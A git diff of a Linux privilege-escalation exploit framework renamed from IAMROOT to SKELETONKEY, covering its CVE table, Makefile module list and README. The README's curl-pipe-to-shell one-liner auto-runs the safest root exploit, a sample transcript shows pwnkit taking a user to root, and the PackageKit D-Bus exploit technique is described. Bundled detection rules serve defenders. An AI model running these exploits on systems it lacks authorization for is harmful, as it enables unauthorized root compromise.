| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
@@ -86,6 +123,13 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
|
||||
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
|
||||
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
|
||||
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
@@ -108,7 +152,7 @@ the relevant distro drops out of the "WORKING" list for that module.
|
||||
## Why we exclude some things
|
||||
|
||||
- **0-days the maintainer found themselves**: those go through
|
||||
responsible disclosure first, then enter IAMROOT after upstream patch
|
||||
responsible disclosure first, then enter SKELETONKEY after upstream patch
|
||||
- **kCTF VRP submissions in flight**: same as above; disclosure
|
||||
before bundling
|
||||
- **Hardware-specific side channels** (Spectre/Meltdown variants):
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
# IAMROOT — top-level Makefile (Phase 1)
|
||||
# SKELETONKEY — top-level Makefile (Phase 1)
|
||||
#
|
||||
# Builds one binary `iamroot` linked from:
|
||||
# Builds one binary `skeletonkey` linked from:
|
||||
# - core/ module interface + registry
|
||||
# - modules/<f>/ one family per subdir, contributes objects to the
|
||||
# final binary
|
||||
# - iamroot.c top-level dispatcher
|
||||
# - skeletonkey.c top-level dispatcher
|
||||
#
|
||||
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
||||
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
||||
# Future families register the same way: add their register_* call to
|
||||
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
|
||||
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
|
||||
|
||||
CC ?= gcc
|
||||
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||
@@ -17,126 +17,199 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||
LDFLAGS ?=
|
||||
|
||||
BUILD := build
|
||||
BIN := iamroot
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
|
||||
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
|
||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
|
||||
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
|
||||
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
||||
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
||||
|
||||
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
||||
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
||||
DP_SRCS := $(DP_DIR)/iamroot_modules.c
|
||||
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
|
||||
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
||||
|
||||
# Family: entrybleed (single-CVE family, x86_64 only)
|
||||
EB_DIR := modules/entrybleed_cve_2023_0458
|
||||
EB_SRCS := $(EB_DIR)/iamroot_modules.c
|
||||
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
|
||||
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
||||
|
||||
# Family: pwnkit (userspace polkit bug, not kernel)
|
||||
PK_DIR := modules/pwnkit_cve_2021_4034
|
||||
PK_SRCS := $(PK_DIR)/iamroot_modules.c
|
||||
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
|
||||
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
||||
|
||||
# Family: nf_tables (CVE-2024-1086)
|
||||
NFT_DIR := modules/nf_tables_cve_2024_1086
|
||||
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
|
||||
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
|
||||
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
||||
|
||||
# Family: overlayfs (CVE-2021-3493)
|
||||
OVL_DIR := modules/overlayfs_cve_2021_3493
|
||||
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
|
||||
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
|
||||
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
||||
|
||||
# Family: cls_route4 (CVE-2022-2588)
|
||||
CR4_DIR := modules/cls_route4_cve_2022_2588
|
||||
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
|
||||
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
|
||||
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
||||
|
||||
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
|
||||
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
||||
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
|
||||
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
|
||||
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
||||
|
||||
# Family: ptrace_traceme (CVE-2019-13272)
|
||||
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
||||
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
|
||||
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
|
||||
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
||||
|
||||
# Family: netfilter_xtcompat (CVE-2021-22555)
|
||||
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
||||
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
|
||||
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
|
||||
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
||||
|
||||
# Family: af_packet (CVE-2017-7308)
|
||||
AFP_DIR := modules/af_packet_cve_2017_7308
|
||||
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
|
||||
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
|
||||
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
||||
|
||||
# Family: fuse_legacy (CVE-2022-0185)
|
||||
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
||||
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
|
||||
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
|
||||
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
||||
|
||||
# Family: stackrot (CVE-2023-3269)
|
||||
STR_DIR := modules/stackrot_cve_2023_3269
|
||||
STR_SRCS := $(STR_DIR)/iamroot_modules.c
|
||||
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
|
||||
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
||||
|
||||
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
||||
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
||||
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
|
||||
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
|
||||
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
||||
|
||||
# Family: cgroup_release_agent (CVE-2022-0492)
|
||||
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
||||
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
|
||||
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||
|
||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
|
||||
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||
|
||||
# Family: nft_set_uaf (CVE-2023-32233)
|
||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
|
||||
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
|
||||
|
||||
# Family: af_unix_gc (CVE-2023-4622)
|
||||
AUG_DIR := modules/af_unix_gc_cve_2023_4622
|
||||
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
|
||||
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
|
||||
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
|
||||
|
||||
# Family: nft_fwd_dup (CVE-2022-25636)
|
||||
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
|
||||
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
|
||||
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
|
||||
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
|
||||
|
||||
# Family: nft_payload (CVE-2023-0179)
|
||||
NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
|
||||
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||
|
||||
SAM_DIR := modules/sudo_samedit_cve_2021_3156
|
||||
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
|
||||
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
|
||||
|
||||
SEQ_DIR := modules/sequoia_cve_2021_33909
|
||||
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
|
||||
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
|
||||
|
||||
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
|
||||
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
|
||||
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
|
||||
|
||||
VMW_DIR := modules/vmwgfx_cve_2023_2008
|
||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||
|
||||
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||
|
||||
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||
|
||||
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||
# the dev package and rebuild.
|
||||
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||
|
||||
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(P2TR_GIO_OK),1)
|
||||
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||
else
|
||||
P2TR_CFLAGS :=
|
||||
P2TR_LIBS :=
|
||||
endif
|
||||
|
||||
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/iamroot.o
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
|
||||
# All module objects in one var so both the main binary and the test
|
||||
# binary can re-use the list without duplicating the long enumeration.
|
||||
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||
# Links against the same module objects as the main binary minus the
|
||||
# top-level dispatcher (which provides main(); the test has its own).
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(BIN): $(ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
test: $(TEST_BIN)
|
||||
@echo "[*] running test suite ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
$(BUILD)/%.o: %.c
|
||||
@@ -150,13 +223,14 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
@echo " make build optimized iamroot binary"
|
||||
@echo " make build optimized skeletonkey binary"
|
||||
@echo " make debug build with -O0 -g3"
|
||||
@echo " make static build a fully static binary"
|
||||
@echo " make test build + run the detect() unit test suite"
|
||||
@echo " make clean remove build artifacts"
|
||||
@echo ""
|
||||
@echo "Per-module (legacy) — not built by default:"
|
||||
|
||||
@@ -1,164 +1,224 @@
|
||||
# IAMROOT
|
||||
# SKELETONKEY
|
||||
|
||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
||||
> bundled with their detection signatures, patch status, and version
|
||||
> ranges. Run it on a system you own (or are authorized to test) and
|
||||
> it tells you which historical and recent CVEs that system is still
|
||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](CVES.md)
|
||||
[](#)
|
||||
|
||||
```
|
||||
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗
|
||||
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
|
||||
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
|
||||
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
|
||||
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
|
||||
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
|
||||
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||
> picks the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
|
||||
> tool. By using it you assert you have explicit authorization to test
|
||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||
> using it you assert you have explicit authorization to test the
|
||||
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
|
||||
## Why use this
|
||||
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||
work, run nothing
|
||||
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||
no detection signatures and went stale years ago
|
||||
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||
months
|
||||
|
||||
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||
for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Who it's for
|
||||
|
||||
| Audience | What you get |
|
||||
|---|---|
|
||||
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||
`pack2theroot` — see note below):
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||
(KASLR leak primitive)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
**⚪ Ported-but-unverified (not in the counts above):**
|
||||
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status.
|
||||
|
||||
## Quickstart
|
||||
|
||||
```bash
|
||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||||
```
|
||||
# Install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
**iamroot runs as a normal unprivileged user** — that's the whole
|
||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
||||
write to root-owned paths.
|
||||
|
||||
```bash
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
iamroot --scan
|
||||
skeletonkey --scan
|
||||
|
||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||||
iamroot --audit
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
||||
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
||||
sudo iamroot --mitigate copy_fail
|
||||
|
||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||||
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
```
|
||||
|
||||
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||
paths.
|
||||
|
||||
### Example: unprivileged → root
|
||||
|
||||
```text
|
||||
$ id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
$ iamroot --scan
|
||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 31 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
[ ] auto: copy_fail patched or not applicable
|
||||
[ ] auto: nf_tables precondition not met
|
||||
...
|
||||
|
||||
$ iamroot --exploit dirty_pipe --i-know
|
||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
||||
[+] dirty_pipe: spawning su root
|
||||
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||
[*] auto: launching --exploit pwnkit...
|
||||
|
||||
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
|
||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
||||
for the blue-team deployment guide.
|
||||
The safety ranking goes: **structural escapes** (no kernel state
|
||||
touched) → **page-cache writes** → **userspace cred-races** →
|
||||
**kernel primitives** → **kernel races** (least predictable). The
|
||||
goal is to never crash a production box looking for root.
|
||||
|
||||
## What this is
|
||||
## How it works
|
||||
|
||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||||
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
|
||||
is empirically verified to work on the kernels it claims to target,
|
||||
CI-tested across a distro matrix, and ships with the detection
|
||||
signatures defenders need to spot it in their environment.
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface (`detect / exploit / mitigate /
|
||||
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||
top-level binary dispatches per command:
|
||||
|
||||
The same binary covers offense and defense:
|
||||
- `--scan` walks every module's `detect()` against the running host
|
||||
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||
`--i-know` flag is the authorization gate)
|
||||
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||
embedded rule corpus
|
||||
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||
